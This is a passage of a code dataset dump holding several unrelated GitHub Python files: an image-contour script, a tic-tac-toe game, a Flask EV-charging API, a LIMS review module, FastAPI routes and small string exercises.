newcontour,-1,(0,0,255),0)\r\n\r\ncv2.imwrite('Output1.jpg',img)\r\n\r\ncv2.fillPoly(temp,[contour],(255,255,255))\r\noutmask=cv2.bitwise_or(mask,~temp)\r\n\r\ncv2.imwrite('Outmask.jpg',outmask)\r\nstop2=time.time()\r\n\r\nprint(\"\\nBlock Detection: \",stop2-start2)\r\n\r\n\r\n\r\n#crop\r\n(y, x) = np.where(mask==255)\r\n(topy, topx) = (np.min(y), np.min(x))\r\n(bottomy, bottomx) = (np.max(y), np.max(x))\r\nimg2 = img[topy:bottomy+1, topx:bottomx+1]\r\nmask2= ~outmask[topy:bottomy+1, topx:bottomx+1]\r\n\r\nprint(\"Channel: \",len(mask2.shape))\r\n\r\nms=time.time()\r\nmask21 = cv2.merge((mask2,mask2,mask2))\r\nmf=time.time()\r\nprint(\"Merging: \",mf,ms)\r\n\r\n#mask21 = np.array(mask2, dtype=np.uint8)\r\n\r\n##mask2= Image.fromarray(mask2)\r\n##with BytesIO() as f:\r\n##    mask2.save(f,format='JPEG')\r\n###mask2=convertToJpeg(mask2)\r\n\r\n\r\n##write=time.time()\r\n##cv2.imwrite('crop.jpg',mask2)\r\n##cv2.imwrite('img2.jpg',img2)\r\n##path = r'F:\\Projects\\Caterpillar\\Trail\\4\\crop.jpg'\r\n##mask2=cv2.imread(path)\r\n##path = r'F:\\Projects\\Caterpillar\\Trail\\4\\img2.jpg'\r\n##img2=cv2.imread(path)\r\n##read=time.time()\r\n##print(\"Write Read: \",read-write)\r\n\r\n\r\n\r\ngrey=cv2.cvtColor(mask21,cv2.COLOR_BGR2GRAY)\r\ncontour,hierarchy=cv2.findContours(grey,cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\nprint(\"Pic Area:\",end=' ')\r\nfor i in contour:\r\n    if cv2.contourArea(i) > 1000:\r\n         newcontour2.append(i)\r\n         print(cv2.contourArea(i))\r\nprint(\"Number of Contours: \",len(newcontour2))\r\n\r\ncv2.drawContours(img2, newcontour2,-1,(0,0,255),0)\r\n\r\ncv2.imwrite('Output2.jpg',img2)\r\n\r\nend2=time.time()\r\n\r\nprint(\"Program Execution :\",end2-start2)\r\n","repo_name":"TharaniGanesh431/FTC_Caterpillar2021","sub_path":"Trail/Check 1/4/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23722680399","text":"import custom_module\n\nprint(dir(custom_module))\n\ntry:\n    count_of_inputs = int(\n        input(\"Enter the number of values you want to input: \"))\n    collection = list(range(count_of_inputs))\n    for index in range(0, count_of_inputs, 1):\n        collection[index] = int(input(f\"Enter the input number {index + 1}: \"))\n\n    print(f\"Maximum among {collection} = {custom_module.max(collection)}\")\n    print(f\"Minimum among {collection} = {custom_module.min(collection)}\")\nexcept Exception as e:\n    print(e)\n\n\nprint(\"End of the program\")\n","repo_name":"Neeraj-Kumar-Coder/100-Days-of-Python","sub_path":"If_name_=_main_.py","file_name":"If_name_=_main_.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32682387108","text":"import random \nimport os\n\none=1\ntwo=2\nthree=3\nfour=4\nfive=5\nsix=6\nseven=7\neight=8\nnine=9\n\ndef main_frame():\n\tprint(\"\\t\\t\",\"_\"*10,\" TIC TAC TOE \",\"_\"*10)\n\tprint(\"\"\"\n\t         ______   _____    ___    _     __\n\t        |  ___/  |  __/   /   |  | |   / /\n\t        | |      | |___  / /| |  | |  / /\n\t        | |      |  __/ /_/ | |  | | / /\n\t        | |____  | |___     | |  | |/ /\n\t        |_____/  |____/     |_|  |___/\\n\"\"\");\ndef update(one,two,three,four,five,six,seven,eight,nine):\n\tprint(f\"\"\"\\t\n\t\t{one}|{two}|{three}\n\t\t_____\n\t\t{four}|{five}|{six}\n\t\t_____\n\t\t{seven}|{eight}|{nine}\"\"\")\n\ndef computer_plays(x):\n\tglobal one\n\tglobal two\n\tglobal three\n\tglobal four\n\tglobal five\n\tglobal six\n\tglobal seven\n\tglobal eight\n\tglobal nine\n\tif x==1:\n\t\tone='X'\n\tif x==2:\n\t\ttwo='X'\n\tif x==3:\n\t\tthree='X'\n\tif x==4:\n\t\tfour='X'\n\tif x==5:\n\t\tfive='X'\n\tif x==6:\n\t\tsix='X'\n\tif x==7:\n\t\tseven='X'\n\tif x==8:\n\t\teight='X'\n\tif x==9:\n\t\tnine='X'\n\ndef human_plays(x):\n\tglobal one\n\tglobal two\n\tglobal three\n\tglobal four\n\tglobal five\n\tglobal six\n\tglobal seven\n\tglobal eight\n\tglobal nine\n\tif x==1:\n\t\tone='O'\n\tif x==2:\n\t\ttwo='O'\n\tif x==3:\n\t\tthree='O'\n\tif x==4:\n\t\tfour='O'\n\tif x==5:\n\t\tfive='O'\n\tif x==6:\n\t\tsix='O'\n\tif x==7:\n\t\tseven='O'\n\tif x==8:\n\t\teight='O'\n\tif x==9:\n\t\tnine='O'\n\n\n#main program\nmain_frame()\nprint(\"Press Enter to start..\")\ninput()\nprint(\"\\nYOU ARE 'O' I AM 'X'!\")\nmy_list=[1,2,3,4,5,6,7,8,9]\npos=99\ndraw=0\nwhile 1:\n\twhile 1 :\n\t\twin=0 #computer wins\n\t\tos.system('cls')\n\t\tplays=random.choice(my_list)\t\n\t\tcomputer_plays(plays)\n\t\tmy_list.remove(plays)\n\t\tif one==two and one==three and two == three:\n\t\t\tbreak\n\t\tif four==five and four==six and six==five :\n\t\t\tbreak\n\t\tif seven==eight and seven==nine and nine == eight :\n\t\t\tbreak\n\t\tif one == four and one == seven and four == seven :\n\t\t\tbreak\n\t\tif two == five and two == eight and eight == five :\n\t\t\tbreak\n\t\tif three == six and three == nine and nine == six :\n\t\t\tbreak\n\t\tif one == five and one == nine and nine == five :\n\t\t\tbreak\n\t\tif three == five and three == seven and seven == five :\n\t\t\tbreak\n\t\tif draw==4:\n\t\t\twin=111\n\t\t\tbreak\n\n\t\twin=1 #human wins\n\n\t\tupdate(one,two,three,four,five,six,seven,eight,nine)\n\t\tpos=int(input(\"\\nYOUR TURN: \"))\n\t\thuman_plays(pos)\n\t\tmy_list.remove(pos)\n\t\tprint(draw)\n\t\tif one==two and one==three and two == three:\n\t\t\tbreak\n\t\tif four==five and four==six and six==five :\n\t\t\tbreak\n\t\tif seven==eight and seven==nine and nine == eight :\n\t\t\tbreak\n\t\tif one == four and one == seven and four == seven :\n\t\t\tbreak\n\t\tif two == five and two == eight and eight == five :\n\t\t\tbreak\n\t\tif three == six and three == nine and nine == six :\n\t\t\tbreak\n\t\tif one == five and one == nine and nine == five :\n\t\t\tbreak\n\t\tif three == five and three == seven and seven == five :\n\t\t\tbreak\n\t\tdraw+=1\n\t\tif draw==5:\n\t\t\twin=111\n\t\t\tbreak\n\t\tprint(draw)\n\n\tupdate(one,two,three,four,five,six,seven,eight,nine)\n\tif win==0 :\n\t\tprint(\"\\a\\a\\aI (Computer) WON !\")\n\telif win == 1:\n\t\tprint (\"\\a\\a\\aYOU (Human) WON !\")\n\telse:\n\t\tprint(\"it is a draw\")\n\tinput()\n\n\n\n\n\n\n\n\n","repo_name":"ceivv/tic_tac_toe","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17187572879","text":"from flask import Blueprint\nfrom flask import request\nfrom flask import jsonify\nfrom analyzer.charging_request import alter_charging_mode, alter_charging_amount, cancel_charging_request\nfrom analyzer.charging_request import submit_charging_request, query_charging_detail, query_charging_request, query_brief_info\nfrom classes.Bill import bill_manager\n\n\napp = Blueprint('user_controller',__name__)\n\n@app.route('/charge',methods=['POST'])\ndef charge():\n    \"\"\"\n    @api {post} /user/charge 充电请求\n    @apiName Charge\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiParam {Int} mode 充电模式(0:常规, 1:快速)\n    @apiParam {Double} amount 电量\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"请求成功\",\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"请求失败\"\n      }\n    \"\"\"\n    user_id = request.json.get('user_id')\n    car_id = request.json.get('car_id')\n    mode = request.json.get('mode')\n    amount = request.json.get('amount')\n    if (submit_charging_request(user_id, car_id, int(mode), float(amount))):\n        return jsonify({\n            \"status\": 0,\n            \"message\": \"充电成功\",\n        })\n    else:\n        return jsonify({\n            \"status\": 1,\n            \"message\": \"重复的请求\"\n        })\n    \n\n@app.route('/query/request', methods=['GET'])\ndef query_request():\n    \"\"\"\n    @api {get} /user/query/request 查询充电请求\n    @apiName QueryRequest\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiSuccess {String} car_id 车辆id\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"查询成功\",\n        \"data\": [\"car_id_1\",\"card_id_2\"]\n      }\n    \"\"\"\n    user_id = request.args.get('user_id')\n    return jsonify({\n        \"status\": 0,\n        \"message\": \"查询成功\",\n        \"data\": query_charging_request(user_id)\n    })\n\n\n\n@app.route('/query/detail', methods=['GET'])\ndef query_detail():\n    \"\"\"\n    @api {get} /user/query/detail 查询充电详情\n    @apiName QueryDetail\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiSuccess {String} car_id 车辆id\n    @apiSuccess {Int} mode 充电模式(0:常规, 1:快速)\n    @apiSuccess {Int} status 车辆状态 (0:等待中, 1:充电中)\n    @apiSuccess {String} pile_id 充电桩id\n    @apiSuccess {Int} queueing 等候数量\n    @apiSuccess {Double} request_amount 电量\n    @apiSuccess {Double} charged_amount 已充电量\n    @apiSuccess {Double} duration 时间\n    @apiSuccess {Double} remain 剩余时间\n    @apiSuccess {String} start_time 开始时间\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"查询成功\",\n        \"data\": {\n          \"car_id\": \"\",\n          \"mode\": 0,\n          \"status\": 0,\n          \"pile_id\": \"\",\n          \"queueing:0,\n          \"request_amount\": 0,\n          \"charged_amount\": 0,\n          \"duration\": 0,\n          \"remain\": 0,\n          \"start_time\": \"\",\n        }\n      }\n    \"\"\"\n    user_id = request.args.get('user_id')\n    car_id = request.args.get('car_id')\n    info = query_charging_detail(car_id)\n    if info is not None:\n        return jsonify({\n            \"status\": 0,\n            \"message\": \"查询成功\",\n            \"data\": info\n        })\n    else:\n        return jsonify({\n            \"status\": 1,\n            \"message\": \"车辆不存在\"\n        })\n\n\n@app.route('/query/profile', methods=['GET'])\ndef query_profile():\n    \"\"\"\n    @api {get} /user/query/profile 获取用户信息\n    @apiName QeuryProfile\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiSuccess {String} user_id 用户id\n    @apiSuccess {json[]} bill 账单 \n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"获取成功\",\n        \"data\": {\n          \"user_id\": \"\",\n          \"bill\": [\n            {\n              \"id\": \"\",\n              \"date\": \"\",\n              \"car\": \"\",\n              \"cost\": 0,\n              \"status\":0\n            }\n          ]\n        }\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 401 UNAUTHORIZED\n      {\n        \"status\": 1,\n        \"message\": \"token已过期\"\n      }\n    \"\"\"\n    user_id = str(request.args.get('user_id')).strip()\n    bills = bill_manager.find_all(user_id)\n    data = [b.brief() for b in bills]\n\n    return jsonify({\n        \"status\": 0,\n        \"message\": \"获取成功\",\n        \"data\": {\n            \"user_id\": user_id,\n            \"bill\": data\n        }\n    })\n\n\n\n@app.route('/query/bill', methods=['GET'])\ndef query_bill():\n    \"\"\"\n    @api {get} /user/query/bill 查询账单\n    @apiName QueryBill\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} bill_id 账单id\n    @apiSuccess {String} bill_id 账单id\n    @apiSuccess {Int} status 账单状态 (0:已提交, 1:正在充电, 2:已完成, 3:已取消)\n    @apiSuccess {String} date 账单日期\n    @apiSuccess {String} car 车辆id\n    @apiSuccess {Double} amount 总电量\n    @apiSuccess {Double} duration 总时间\n    @apiSuccess {Int} mode 充电模式(0:常规, 1:快速)\n    @apiSuccess {Int} pile 充电桩id\n    @apiSuccess {String} start_time 开始时间\n    @apiSuccess {String} end_time 结束时间 \n    @apiSuccess {Double} service 服务费\n    @apiSuccess {Double} charge 充电费用\n    @apiSuccess {Double} total 总费用\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"查询成功\",\n        \"data\": {\n          \"id\":\"\",\n          \"user\":\"\",\n          \"car\":\"\",\n          \"detail\":[\n            {\n              \"id\":\"\",\n              \"date\":\"\",\n              \"status\":0,\n              \"pile\":\"\",\n              \"mode\":0,\n              \"start_time\":\"\",\n              \"end_time\":\"\",\n              \"duration\":\"\",\n              \"amount\":\"\",\n              \"service\":\"\",\n              \"charge\":\"\",\n              \"total\":\"\"\n            }\n          ]\n        }\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"账单不存在\"\n      }\n    \"\"\"\n    user_id = request.args.get('user_id')\n    bill_id = request.args.get('bill_id')\n    bill = bill_manager.find(bill_id)\n    if bill is None or bill.user != user_id:\n        return jsonify({\"status\":1,\"message\":\"账单不存在\"})\n    return jsonify({\"status\":0,\"message\":\"查询成功\",\"data\":bill.to_dict()})\n\n\n\n@app.route('/query/queue', methods=['GET'])\ndef query_queuing():\n    \"\"\"\n    @api {get} /user/query/queue 查询排队信息\n    @apiName QueryQueue\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiSuccess {String} car_id 车辆id\n    @apiSuccess {String} pile_id 充电桩id\n    @apiSuccess {Int} wait 排队位置 \n    @apiSuccess {Int} section 区域(0:等待区, 1:充电区)\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"查询成功\",\n        \"data\": {\n          \"car_id\": \"\",\n          \"pile_id\": \"\",\n          \"wait\": 0,\n          \"section\": 0,\n        }\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"车辆不存在\"\n      }\n    \"\"\"\n    user_id = request.args.get('user_id')\n    car_id = request.args.get('car_id')\n    res = query_brief_info(car_id)\n    if res is None:\n        return jsonify({\"status\":1,\"message\":\"车辆不存在\"})\n    else:\n        return jsonify({\"status\":0,\"message\":\"查询成功\",\"data\":res})\n\n\n\n@app.route('/alter/amount', methods=['POST'])\ndef alter_amount():\n    \"\"\"\n    @api {post} /user/alter/amount 修改电量\n    @apiName AlterAmount\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiParam {Double} amount 电量\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"修改成功\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"车辆不存在\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 2,\n        \"message\": \"不允许修改\"\n      }\n    \"\"\"\n    user_id = request.json.get('user_id')\n    car_id = request.json.get('car_id')\n    amount = request.json.get('amount')\n    if alter_charging_amount(car_id, amount) == 0:\n        return jsonify({\"status\": 0, \"message\": \"修改成功\"})\n    elif alter_charging_amount(car_id, amount) == 1:\n        return jsonify({\"status\": 1, \"message\": \"车辆不存在\"})\n    else:\n        return jsonify({\"status\": 2, \"message\": \"不允许修改\"})\n\n\n\n@app.route('/alter/mode', methods=['POST'])\ndef alter_mode():\n    \"\"\"\n    @api {post} /user/alter/mode 修改充电模式\n    @apiName AlterMode\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiParam {Int} mode 充电模式(0:常规, 1:快速)\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"修改成功\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"车辆不存在\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 2,\n        \"message\": \"不允许修改\"\n      }\n    \"\"\"\n    user_id = request.json.get('user_id')\n    car_id = request.json.get('car_id')\n    mode = request.json.get('mode')\n    if alter_charging_mode(car_id, mode) == 0:\n        return jsonify({\"status\": 0, \"message\": \"修改成功\"})\n    elif alter_charging_amount(car_id, mode) == 1:\n        return jsonify({\"status\": 1, \"message\": \"车辆不存在\"})\n    else:\n        return jsonify({\"status\": 2, \"message\": \"不允许修改\"})\n\n\n\n@app.route('/alter/mode_and_amount', methods=['POST'])\ndef alter_mode_and_amout():\n    \"\"\"\n    @api {post} /user/alter/mode 修改充电模式\n    @apiName AlterMode\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiParam {Int} mode 充电模式(0:常规, 1:快速)\n    @apiParam {Double} amount 电量\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"修改成功\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"车辆不存在\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 2,\n        \"message\": \"不允许修改\"\n      }\n    \"\"\"\n    user_id = request.json.get('user_id')\n    car_id = request.json.get('car_id')\n    mode = request.json.get('mode')\n    amount = request.json.get('amount')\n    is_alter_mode = alter_charging_mode(car_id, mode)\n    if is_alter_mode == 0:\n        is_alter_amount = alter_charging_amount(car_id, amount)\n        if is_alter_amount == 0:\n            return jsonify({\"status\": 0, \"message\": \"修改成功\"})\n        elif is_alter_amount == 1:\n            return jsonify({\"status\": 1, \"message\": \"车辆不存在\"})\n        else:\n            return jsonify({\"status\": 2, \"message\": \"不允许修改\"})\n    elif is_alter_mode == 1:\n        return jsonify({\"status\": 4, \"message\": \"车辆不存在\"})\n    else:\n        return jsonify({\"status\": 5, \"message\": \"不允许修改\"})\n\n\n\n@app.route('/alter/cancel', methods=['POST'])\ndef alter_cancel():\n    \"\"\"\n    @api {post} /user/alter/cancel 取消充电\n    @apiName AlterCancel\n    @apiGroup User\n    @apiParam {String} user_id 用户id\n    @apiParam {String} car_id 车辆id\n    @apiSuccessExample {json} Success-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 0,\n        \"message\": \"已取消\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 1,\n        \"message\": \"车辆不存在\"\n      }\n    @apiErrorExample {json} Error-Response:\n      HTTP/1.1 200 OK\n      {\n        \"status\": 2,\n        \"message\": \"不允许取消\"\n      }\n    \"\"\"\n    user_id = request.json.get('user_id')\n    car_id = request.json.get('car_id')\n    if cancel_charging_request(car_id) == 0:\n        return jsonify({\"status\": 0, \"message\": \"已取消\"})\n    else:\n        return jsonify({\"status\": 1, \"message\": \"车辆不存在\"})","repo_name":"ghostfly23333/ACSSBackend","sub_path":"src/controller/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":12669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15502831224","text":"import json\nimport datetime\nfrom werkzeug.exceptions import abort\nfrom requests.exceptions import HTTPError\nfrom cached_property import cached_property\nfrom pyclarity_lims.entities import Queue, Step\nfrom egcg_core import clarity\nfrom rest_api import settings\nfrom rest_api.aggregation.database_hooks import db\nfrom config import rest_config as cfg\n\n\nclass Action:\n    def __init__(self, request):\n        self.request = request\n\n    @staticmethod\n    def now():\n        return datetime.datetime.now().strftime(settings.DATE_FORMAT)\n\n    @cached_property\n    def date_started(self):\n        return self.now()\n\n    def _perform_action(self):\n        raise NotImplementedError\n\n    def perform_action(self):\n        action = {'date_started': self.date_started}\n        if hasattr(self.request.authorization, 'username'):\n            action['started_by'] = self.request.authorization.username\n\n        action.update(self._perform_action())\n        return action\n\n\nclass ReviewInitiator(Action):\n    lims_workflow_name = 'PostSeqLab EG 1.0 WF'\n    populate_artifacts_epp_name = 'Upload metrics and assess samples'\n    lims_step_name = None\n\n    def __init__(self, request):\n        super().__init__(request)\n        self.sample_ids_to_review = json.loads(request.form.get('review_entities'))\n        self.username = request.form.get('username')\n        self.password = request.form.get('password')\n\n    @cached_property\n    def lims(self):\n        try:\n            lims = clarity.connection(new=True, username=self.username, password=self.password,\n                                      baseuri=cfg.query('clarity', 'baseuri', ret_default=''))\n            lims.get(lims.get_uri())\n            return lims\n        except HTTPError:\n            abort(401, 'Authentication in the LIMS (%s) failed' % cfg.query('clarity', 'baseuri'))\n\n    @property\n    def samples_to_review(self):\n        try:\n            # Retrieve the samples from the LIMS\n            samples_to_review = clarity.get_list_of_samples(list(self.sample_ids_to_review))\n        except HTTPError:\n            samples_to_review = []\n\n        if len(samples_to_review) != len(self.sample_ids_to_review):\n            abort(\n                409,\n                'Some of the samples to review were not found in the LIMS. %s samples requested %s samples found' % (\n                    len(self.sample_ids_to_review), len(samples_to_review)\n                )\n            )\n        return samples_to_review\n\n    @cached_property\n    def stage(self):\n        stage = clarity.get_workflow_stage(workflow_name=self.lims_workflow_name, stage_name=self.lims_step_name)\n        if not stage:\n            abort(404, 'Could not find LIMS step %s for workflow %s' % (self.lims_workflow_name, self.lims_step_name))\n        return stage\n\n    def artifact_replicates(self, artifacts):\n        return 1\n\n    def _perform_action(self):\n        queue = Queue(self.lims, id=self.stage.step.id)\n        samples_queued = set()\n        artifacts_to_review = []\n\n        # find all samples that are queued and to review\n        artifacts = queue.artifacts\n        for a in artifacts:\n            if len(a.samples) != 1:\n                abort(409, 'Artifact %s Queued on %s contains more than one sample' % (a.name, self.lims_step_name))\n            if a.samples[0].name in self.sample_ids_to_review:\n                artifacts_to_review.append(a)\n            samples_queued.add(a.samples[0])\n\n        # find all samples that are to review but not queued\n        samples_to_review_but_not_queued = set(self.samples_to_review).difference(samples_queued)\n        if samples_to_review_but_not_queued:\n            artifacts = [s.artifact for s in samples_to_review_but_not_queued]\n            # Queue the artifacts that were not already there\n            self.lims.route_artifacts(artifact_list=artifacts, stage_uri=self.stage.uri)\n            artifacts_to_review.extend(artifacts)\n\n        if len(artifacts_to_review) != len(self.sample_ids_to_review):\n            abort(\n                409,\n                'Could not find artifacts for all samples. Requested %s samples, found %s artifacts' % (\n                    len(self.sample_ids_to_review), len(artifacts_to_review)\n                )\n            )\n\n        # Create a new step from the queued artifacts\n        # with the number of replicates that correspond to the number of run elements\n        s = Step.create(\n            self.lims,\n            protocol_step=self.stage.step,\n            inputs=artifacts_to_review,\n            replicates=self.artifact_replicates(artifacts_to_review)\n        )\n\n        if self.populate_artifacts_epp_name in s.program_names:\n            s.trigger_program(self.populate_artifacts_epp_name)\n\n        return {\n            'action_id': 'lims_' + s.id,\n            'started_by': self.username,\n            'action_info': {\n                'lims_step_name': self.lims_step_name,\n                'lims_url': cfg['clarity']['baseuri'] + '/clarity/work-details/' + s.id.split('-')[1],\n                'samples': self.sample_ids_to_review\n            }\n        }\n\n\nclass RunReviewInitiator(ReviewInitiator):\n    lims_step_name = 'Sequencer Output Review EG 1.0 ST'\n\n    def artifact_replicates(self, artifacts):\n        # Get the number of run elements for each sample directly from the database.\n        run_element_counts = {}\n        for sample_id in self.sample_ids_to_review:\n            run_element_counts[sample_id] = db['run_elements'].count({'sample_id': sample_id})\n\n        # Guarantee the order of the count is the same as the artifacts\n        return [run_element_counts.get(a.samples[0].name) for a in artifacts]\n\n\nclass SampleReviewInitiator(ReviewInitiator):\n    lims_step_name = 'Sample Review EG 1.0 ST'\n","repo_name":"EdinburghGenomics/Reporting-App","sub_path":"rest_api/actions/reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"32863943194","text":"class Solution:\n    def stringMirror(self, str : str) -> str:\n        i=1\n        while(i<len(str)):\n            while(i<len(str) and str[i-1]>str[i]):i+=1\n            if(i<len(str) and str[i]==str[i-1]):\n                if(i-2>=0):\n                    while(i<len(str) and str[i]==str[i-1]):i+=1\n                else:\n                    break\n            else:\n                break\n        ans=str[:i]\n        ans+=ans[::-1]\n        return ans\n        \n\n\n\n#{ \n # Driver Code Starts\nif __name__==\"__main__\":\n    t = int(input())\n    for _ in range(t):\n        \n        str = (input())\n        \n        obj = Solution()\n        res = obj.stringMirror(str)\n        \n        print(res)\n        \n\n# } Driver Code Ends","repo_name":"nitin22032002/leetcode_question","sub_path":"String Mirror - GFG/string-mirror.py","file_name":"string-mirror.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71184343142","text":"\"\"\"\nEpocas v2, rutas (paths)\n\"\"\"\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom fastapi_pagination.ext.sqlalchemy import paginate\nfrom sqlalchemy.orm import Session\n\nfrom lib.database import get_db\nfrom lib.fastapi_pagination import LimitOffsetPage\n\nfrom .crud import get_epocas, get_epoca\nfrom .schemas import EpocaOut\n\nepocas = APIRouter()\n\n\n@epocas.get(\"\", response_model=LimitOffsetPage[EpocaOut])\nasync def listado_epocas(db: Session = Depends(get_db)):\n    \"\"\"Listado de Epocas\"\"\"\n    try:\n        listado = get_epocas(db)\n    except IndexError as error:\n        raise HTTPException(status_code=404, detail=f\"Not found: {str(error)}\") from error\n    except ValueError as error:\n        raise HTTPException(status_code=406, detail=f\"Not acceptable: {str(error)}\") from error\n    return paginate(listado)\n\n\n@epocas.get(\"/{epoca_id}\", response_model=EpocaOut)\nasync def detalle_epoca(\n    epoca_id: int,\n    db: Session = Depends(get_db),\n):\n    \"\"\"Detalle de un Epoca a partir de su id\"\"\"\n    try:\n        epoca = get_epoca(db, epoca_id=epoca_id)\n    except IndexError as error:\n        raise HTTPException(status_code=404, detail=f\"Not found: {str(error)}\") from error\n    except ValueError as error:\n        raise HTTPException(status_code=406, detail=f\"Not acceptable: {str(error)}\") from error\n    return EpocaOut.from_orm(epoca)\n","repo_name":"PJECZ/pjecz-plataforma-web-api","sub_path":"plataforma_web/v2/epocas/paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"527030981","text":"# welcome message\nprint('Welcome User')\n#get user sentence\nsentence = input('Enter a sentence to convert to camel case. Include spaces, no punctuation')\n#chop up sentence into words\nword_list = sentence.split(' ')\n#capitalize words except for first word\ncamelCase_list = (word_list[0] if word_list.index(x) == 0 else x.capitalize() for x in word_list)\n#print out result\nfor string in camelCase_list:\n    print(string, end='')\n","repo_name":"GingerStyle/Lab-1","sub_path":"Part 4.py","file_name":"Part 4.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70814665702","text":"# Take an input and make it print out backwards\n\ndef loop():\n    # data = input(\"Type something here and I will print it backwards: \")\n    # backwards = list(data)\n    # backwardsOutput = ''.join(backwards[::-1])\n    # print(backwardsOutput)\n\n    # Slim it down...\n    data = input(\"Type something here and I will print it backwards: \")\n    print(''.join(list(data)[::-1]))\n    ask()\n\ndef ask():\n    again = input(\"Do you want to play again? (y/n)\")\n    if again.lower() == \"y\":\n        loop()\n    #while True:\n    else:\n        print(\"Thanks for playing\")\n\nloop()\n\n\n\n","repo_name":"Luvz2Fly/pyVowels","sub_path":"backwards.py","file_name":"backwards.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23862842813","text":"from .adapter import LogicAdapter\r\nfrom .utils import initialize_class, logger, validate_class, import_module, get_features, get_object_path\r\nfrom .constants import MAXIMUM_SIMILARITY_THRESHOLD, MINIMUM_SIMILARITY_THRESHOLD, \\\r\n    NUMBER_OF_ANSWERS, CONTEXT_PARAMETER_MAX_ERROR_COUNT\r\nfrom .exceptions import NotEnoughParameterError\r\nfrom .models import statement_table_name, tag_table_name, tag_association_statement_table_name, access_log_table_name\r\nfrom .storage import SQLStorage\r\n\r\n\r\nclass ChatBot:\r\n    def __init__(self, name, **kwargs):\r\n        self.name = name\r\n        # storage = kwargs.get('storage', 'chatbot.storage.SQLStorage')\r\n        storage = kwargs.get('storage', SQLStorage())\r\n\r\n        # initialize storage class\r\n        if isinstance(storage, str) or isinstance(storage, dict):\r\n            self.storage = initialize_class(storage)\r\n        else:\r\n            self.storage = storage\r\n\r\n        # logger\r\n        self.logger = kwargs.get('logger', logger)\r\n\r\n        # Stop searching when it is greater than the match\r\n        self.maximum_similarity_threshold = kwargs.get('maximum_similarity_threshold', MAXIMUM_SIMILARITY_THRESHOLD)\r\n\r\n        # The minimum amount of similarity between two statement, below this value,\r\n        # the 